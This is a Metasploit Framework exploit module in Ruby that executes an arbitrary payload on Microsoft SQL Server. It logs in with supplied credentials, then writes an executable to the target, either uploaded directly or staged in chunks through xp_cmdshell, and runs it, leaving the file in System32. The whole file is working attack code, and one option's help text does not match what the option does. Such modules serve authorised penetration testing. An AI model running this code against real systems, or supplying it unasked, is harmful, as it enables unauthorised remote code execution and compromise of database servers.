##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::MSSQL
	include Msf::Exploit::CmdStager

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Payload Execution',
			'Description'    => %q{
					This module will execute an arbitrary payload on a Microsoft SQL
				Server, using the Windows debug.com method for writing an executable to disk
				and the xp_cmdshell stored procedure. File size restrictions are avoided by
				incorporating the debug	bypass method presented at Defcon 17 by SecureState.
				Note that this module will leave a metasploit payload in the Windows
				System32 directory which must be manually deleted once the attack is completed.
			},
			'Author'         => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2000-1209' ],
					[ 'CVE', '2000-0402' ],
					[ 'OSVDB', '557' ],
					[ 'OSVDB', '4787' ],
					[ 'BID', '1281' ],
					[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf' ]
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
			))
		register_options(
			[
				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
				OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
			])
	end

	def exploit

		debug = datastore['VERBOSE'] # enable to see the output

		if(not mssql_login_datastore)
			print_status("Invalid SQL Server credentials")
			return
		end

		# Use the CmdStager or not?
		if (not datastore['UseCmdStager'])
			mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
		else
			cmd_list = generate_cmdstager({}, 1500)
			total_bytes = 0
			cmd_list.each { |cmd| total_bytes += cmd.length }

			sent = 0
			delay = 0.25

			cmd_list.each { |cmd|
				mssql_xpcmdshell(cmd, debug)
				sent += cmd.length

				# so multi threaded servers can place data in files in the correct order
				select(nil, nil, nil, delay)

				progress(total_bytes, sent)
			}

		end

		handler
		disconnect
	end

end